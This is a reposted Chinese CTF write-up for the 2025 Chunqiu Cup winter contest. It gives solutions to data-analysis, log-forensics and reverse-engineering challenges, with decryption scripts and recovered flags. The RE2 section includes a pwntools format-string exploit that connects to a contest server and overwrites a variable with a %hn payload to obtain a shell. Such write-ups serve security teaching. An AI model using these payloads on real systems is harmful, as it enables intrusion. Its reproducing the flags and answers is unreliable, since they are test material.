2025春秋杯网络安全联赛冬季赛个人赛

admin 2026-02-02 00:02:13 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档详述了2025春秋杯网络安全联赛冬季赛个人赛题解,涵盖WEB、MISC、Crypto及逆向等领域。内容包括Git泄露、PHP反序列化、SQL注入、流量分析、RSA解密及Android逆向等技术的利用与脚本。文档提供了从漏洞分析到获取Flag的完整流程,适合CTF实战参考与学习。 综合评分: 90 文章分类: CTF,WEB安全,漏洞分析,逆向分析,实战经验


数据处理与分析3-失灵的遮盖

#!/usr/bin/env python3
import hashlib
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import binascii

SALT = b"Hidden_Salt_Value"
IV = b"Dynamic_IV_2026!"

def get_key(uid):
    return PBKDF2(uid, SALT, dkLen=16, count=1000)

def decrypt_data():
    # 字符映射表(混淆逻辑)
    obfuscation_map = {
        '0': 'm', '1': 'n', '2': 'b', '3': 'v', '4': 'c',
        '5': 'x', '6': 'z', '7': 'l', '8': 'k', '9': 'j',
        'a': 'h', 'b': 'g', 'c': 'f', 'd': '?', 'e': 's', 'f': 'y'
    }

    # 逆向映射表
    reverse_map = {v: k for k, v in obfuscation_map.items() if v != '?'}
    # 根据映射规律,d应该映射到哪个字母?
    # 从a-z的字母顺序和映射来看,d应该对应i(h->a, g->b, f->c, ?->d, s->e, ...)
    reverse_map['d'] = 'd'# 从样本看,d似乎映射到d本身?我们试试

    print("逆向映射表:")
    for k in sorted(reverse_map.keys()):
        print(f"  {k} -> {reverse_map[k]}")

    # 读取加密数据
    import csv

    decrypted_data = []

    with open("C:/Users/ZhuanZ(无密码)/Downloads/失灵的遮盖-a953e87adf1c49785e54c3436bddc5fb/user_data_masked.csv", 'r') as f:
        reader = csv.reader(f)
        header = next(reader)  # 跳过表头

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n{header[0]:<10} {header[1]:<15} {header[2]:<40} -> 解密结果")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("-"&nbsp;* 100)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;row&nbsp;in&nbsp;reader:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;len(row) != 3:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; user_id, username, masked_phone = row

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 逆向混淆,还原十六进制
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hex_data =&nbsp;""
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; valid = True
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;char&nbsp;in&nbsp;masked_phone:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;char&nbsp;in&nbsp;reverse_map:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hex_data += reverse_map[char]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# print(f"警告: 遇到未知字符 '{char}'")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hex_data += char &nbsp;# 假设是直接映射

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 十六进制解码
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; encrypted_data = binascii.unhexlify(hex_data)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; except:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"错误: 无法解码十六进制 {hex_data[:50]}...")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# AES解密
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; key = get_key(user_id.encode())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cipher = AES.new(key, AES.MODE_CBC, IV)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; decrypted_padded = cipher.decrypt(encrypted_data)

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 移除PKCS7填充
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pad_len = decrypted_padded[-1]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; decrypted = decrypted_padded[:-pad_len].decode('utf-8')

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; decrypted_data.append([user_id, username, decrypted])
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{user_id:<10} {username:<15} {masked_phone:<40} -> {decrypted}")

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; except Exception as e:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"解密失败 for user {user_id}: {e}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue

&nbsp; &nbsp;&nbsp;# 保存解密结果
&nbsp; &nbsp; with open("c:/Users/ZhuanZ(无密码)/CodeBuddy/20260201090416/decrypted_phones.csv",&nbsp;'w', newline='') as f:
&nbsp; &nbsp; &nbsp; &nbsp; writer = csv.writer(f)
&nbsp; &nbsp; &nbsp; &nbsp; writer.writerow(["user_id",&nbsp;"username",&nbsp;"phone"])
&nbsp; &nbsp; &nbsp; &nbsp; writer.writerows(decrypted_data)

&nbsp; &nbsp;&nbsp;print(f"\n解密完成!结果已保存到 decrypted_phones.csv")
&nbsp; &nbsp;&nbsp;print(f"共解密 {len(decrypted_data)} 条记录")

&nbsp; &nbsp;&nbsp;return&nbsp;decrypted_data

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; decrypt_data()

通过 sample_leak.txt 中的样本:

原始手机号:13810000000
混淆结果:hxnxvjlkjcngzsycbsjbymygvbfjzjfv
0→m, 1→n, 2→b, 3→v, 4→c, 5→x, 6→z, 7→l, 8→k, 9→j
a→h, b→g, c→f, d→d, e→s, f→y

密钥派生:使用PBKDF2从user_id派生16字节密钥

SALT = b"Hidden_Salt_Value"
迭代次数 = 1000
AES加密:使用AES-128-CBC加密原始数据

IV = b"Dynamic_IV_2026!"

成功解密了 user_data_masked.csv 中的所有100条记录!

flag{a0f8c2e5-1b74-4d93-8e6a-3c9f7b5d2041}

数据处理与分析4-隐形的守护者

在线工具https://tools.qwerto.cc/blind_watermark/

Log_Detective

位置 (n) ASCII 码 对应字符 来源依据
1 - 5 102, 108, 97, 103, 123

flag{

6 - 11 98, 108, 49, 110, 100, 95

bl1nd_

12 - 16 115, 113, 108, 49, 95

sql1_

17 - 21 116, 49, 109, 51, 95

t1m3_

22 - 27 98, 52, 115, 51, 100, 95

b4s3d_

28 - 32 108, 48, 103, 95, 102

l0g_f

33 - 37 48, 114, 51, 110, 115

0r3ns

38 - 41 49, 99, 115, 125

1cs}

flag{bl1nd_sql1_t1m3_b4s3d_l0g_f0r3ns1cs}

RE1-Secure Gate

使用工具(如 JADX-GUI)反编译 APK,定位到主逻辑类 com.icqctf.signcheck.MainActivity。

在 m125lambda$onCreate$0$comicqctfsigncheckMainActivity&nbsp;方法中,可以看到解密流程:

调用 SignUtils.getAppSignature(this) 获取当前应用的签名。
将签名字符串作为密钥,传入 decrypt 函数。
对内置的 SECRET_DATA 字节数组进行解密。

private String decrypt(byte[] bArr, String str) {
&nbsp; &nbsp; byte[] bytes = str.getBytes();
&nbsp; &nbsp; byte[] bArr2 = new byte[bArr.length];
&nbsp; &nbsp;&nbsp;for&nbsp;(int i = 0; i < bArr.length; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; bArr2[i] = (byte) (bArr[i] ^ bytes[i % bytes.length]);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;new String(bArr2);
}

解密

# 题目内置的加密数据
secret_data = [86, 10, 3, 1, 77, 124, 123, 97, 109, 37, 64, 90, 2, 89, 8, 5, 111, 115, 64, 66, 4, 16, 65, 62, 123, 8, 88, 81, 30]

# 提取到的 SHA1 密钥
key =&nbsp;"0fbf65802a94649f01920c2a0966c2934e817f73"

# 执行 XOR 解密
flag =&nbsp;"".join([chr(secret_data[i] ^ ord(key[i % len(key)]))&nbsp;for&nbsp;i&nbsp;in&nbsp;range(len(secret_data))])

print(f"解密结果: {flag}")

RE2-talisman

printf(s, &dword_202010, (char *)&dword_202010 + 2);
漏洞原理:程序直接将用户输入 s 作为&nbsp;printf&nbsp;的第一个参数(格式化字符串),而没有使用 %s。

后果:我们可以通过输入 %p、%x 来泄露栈上的数据,或者使用 %n 往指定的内存地址写入数据。

if&nbsp;( dword_202010 == -889275714 ) // 这里的十六进制是 0xCAFEBABE
只有当全局变量 dword_202010 的值等于 0xCAFEBABE(即有符号整数的 -889275714)时,程序才会打印 Flag 并给你一个 Shell。

关键点: 注意到&nbsp;printf&nbsp;调用时,开发者“贴心”地(或者说是故意留出的后门)把 &dword_202010 及其偏移地址作为参数传给了&nbsp;printf:

参数 2 (%2$p&nbsp;左右的位置): &dword_202010

参数 3 (%3$p&nbsp;左右的位置): &dword_202010 + 2
from pwn import *

# 连接服务器
io = remote('59.110.158.148', 34861)

# 目标值 0xCAFEBABE
# 低位 0xBABE = 47806
# 高位 0xCAFE = 51966
# 差值 = 51966 - 47806 = 4160

payload =&nbsp;"%47806c%1$hn%4160c%2$hn"

io.sendlineafter("Payload):", payload)
io.interactive()


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:玄网安全 玄网安全 oPis 玄网安全 oPis《2025春秋杯网络安全联赛冬季赛个人赛》

评论:0   参与:  0